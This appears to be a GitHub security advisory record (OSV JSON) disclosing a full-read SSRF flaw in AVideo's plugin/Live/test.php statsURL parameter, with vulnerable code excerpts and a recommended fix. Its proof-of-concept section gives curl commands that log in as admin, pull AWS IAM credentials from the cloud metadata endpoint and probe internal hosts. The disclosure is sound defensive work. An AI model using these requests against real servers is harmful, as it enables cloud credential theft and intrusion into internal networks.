{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T19:53:55Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `plugin/Live/test.php` endpoint accepts a URL via the `statsURL` parameter and fetches it server-side using `file_get_contents()`, `curl_exec()`, or `wget`, returning the full response content in the HTML output. The only validation is a trivial regex (`/^http/`) that does not block requests to internal/private IP ranges or cloud metadata endpoints. The codebase provides `isSSRFSafeURL()` which blocks private IPs and resolves DNS to prevent rebinding, but this endpoint does not call it. An authenticated admin can read responses from cloud metadata services, internal network services, and localhost endpoints.\n\n## Details\n\nThe vulnerable code path is in `plugin/Live/test.php`:\n\n**User input (line 11):**\n```php\n$statsURL = $_REQUEST[\u0027statsURL\u0027];\nif (empty($statsURL) || $statsURL == \"php://input\" || !preg_match(\"/^http/\", $statsURL)) {\n    _log(\u0027this is not a URL \u0027);\n    exit;\n}\n```\n\nThe regex `/^http/` only verifies the URL starts with \"http\" \u2014 it does not validate the host, resolve DNS, or check against private/reserved IP ranges.\n\n**Sink \u2014 file_get_contents (line 58-68):**\n```php\nif (ini_get(\u0027allow_url_fopen\u0027)) {\n    try {\n        $tmp = file_get_contents($url, false, $context);\n        _log(\u0027file_get_contents:: \u0027.htmlentities($tmp));\n```\n\n**Sink \u2014 curl_exec (line 73-94):**\n```php\n} elseif (function_exists(\u0027curl_init\u0027)) {\n    $ch = curl_init();\n    // ...\n    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);\n    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);\n    // ...\n    $output = curl_exec($ch);\n    // ...\n    _log(\u0027curl_init:: \u0027.htmlentities($output));\n```\n\n**Sink \u2014 wget (line 114):**\n```php\nif (wget($url, $filename)) {\n    $result = file_get_contents($filename);\n    _log(\u0027wget:: \u0027.htmlentities($result));\n```\n\nAll three code paths output the full response content to the user via `_log()`, which echoes to the HTML response (line 155-160).\n\nThe codebase provides `isSSRFSafeURL()` at `objects/functions.php:4025` which validates URL scheme, resolves DNS hostnames to IP addresses, and blocks private/reserved IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, and IPv6 equivalents). This function is used in 7 other endpoints including the previously-reported `objects/aVideoEncoder.json.php`, but `plugin/Live/test.php` does not call it.\n\nAdditionally, SSL certificate verification is disabled on both the `file_get_contents` stream context (lines 45-49) and the curl handler (lines 79-80), allowing MITM attacks against HTTPS targets.\n\nThe endpoint also lacks CSRF token validation while accepting GET requests via `$_REQUEST`, making it susceptible to cross-site request forgery against authenticated admins, although the CSRF-triggered variant is blind (attacker cannot read the response cross-origin).\n\n## PoC\n\n**Step 1: Authenticate as admin and obtain session cookie**\n```bash\n# Login to obtain PHPSESSID\nPHPSESSID=$(curl -s -c - \u0027https://target.com/objects/userLogin.json.php\u0027 \\\n  -d \u0027user=admin\u0026pass=adminpass\u0027 | grep PHPSESSID | awk \u0027{print $7}\u0027)\n```\n\n**Step 2: Read AWS cloud metadata (IAM credentials)**\n```bash\ncurl -b \"PHPSESSID=${PHPSESSID}\" \\\n  \u0027https://target.com/plugin/Live/test.php?statsURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/\u0027\n```\n\nExpected output: HTML page containing the full cloud metadata response including IAM role names.\n\n**Step 3: Read IAM credentials for a specific role**\n```bash\ncurl -b \"PHPSESSID=${PHPSESSID}\" \\\n  \u0027https://target.com/plugin/Live/test.php?statsURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/MyRole\u0027\n```\n\nExpected output: JSON containing `AccessKeyId`, `SecretAccessKey`, and `Token` for the IAM role.\n\n**Step 4: Scan internal services**\n```bash\ncurl -b \"PHPSESSID=${PHPSESSID}\" \\\n  \u0027https://target.com/plugin/Live/test.php?statsURL=http://192.168.1.1:8080/\u0027\n```\n\nExpected output: Full response from internal service at 192.168.1.1:8080.\n\n## Impact\n\nAn authenticated admin can:\n\n- **Read cloud metadata credentials:** Access AWS/GCP/Azure instance metadata endpoints (169.254.169.254) to retrieve IAM credentials, instance identity tokens, and other sensitive cloud configuration.\n- **Enumerate internal services:** Probe internal network ranges (10.x, 172.16.x, 192.168.x) and localhost services to discover and read from services not exposed to the internet.\n- **Port scan internal infrastructure:** Determine which internal hosts and ports are active based on response timing and content.\n- **Bypass network segmentation:** Reach services behind firewalls that trust the AVideo server\u0027s IP address.\n\nThe full response disclosure (not blind) makes this a high-confidentiality-impact finding. The admin authentication requirement limits the attack surface but does not eliminate it \u2014 compromised admin accounts, insider threats, and the lack of CSRF protection all provide attack vectors.\n\n## Recommended Fix\n\nAdd `isSSRFSafeURL()` validation before fetching the URL. In `plugin/Live/test.php`, after line 15:\n\n```php\n$statsURL = $_REQUEST[\u0027statsURL\u0027];\nif (empty($statsURL) || $statsURL == \"php://input\" || !preg_match(\"/^http/\", $statsURL)) {\n    _log(\u0027this is not a URL \u0027);\n    exit;\n}\n\n// Add SSRF protection\nif (!isSSRFSafeURL($statsURL)) {\n    _log(\u0027URL failed SSRF safety check: \u0027 . htmlentities($statsURL));\n    exit;\n}\n```\n\nAdditionally, enable SSL verification in the curl handler (lines 79-80):\n\n```php\n// Replace:\ncurl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);\ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);\n// With:\ncurl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);\ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);\n```\n\nAnd in the stream context (lines 45-49):\n\n```php\n// Replace:\n\"ssl\" =\u003e [\n    \"verify_peer\" =\u003e false,\n    \"verify_peer_name\" =\u003e false,\n    \"allow_self_signed\" =\u003e true,\n],\n// With:\n\"ssl\" =\u003e [\n    \"verify_peer\" =\u003e true,\n    \"verify_peer_name\" =\u003e true,\n    \"allow_self_signed\" =\u003e false,\n],\n```",
  "id": "GHSA-wxjx-r2j2-96fx",
  "modified": "2026-03-25T19:53:55Z",
  "published": "2026-03-25T19:53:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-wxjx-r2j2-96fx"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/c95eafbdfccd5959c546a430c32fb3b6026f39ac"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo: Full-Read SSRF Through Unvalidated statsURL Parameter in plugin/Live/test.php"
}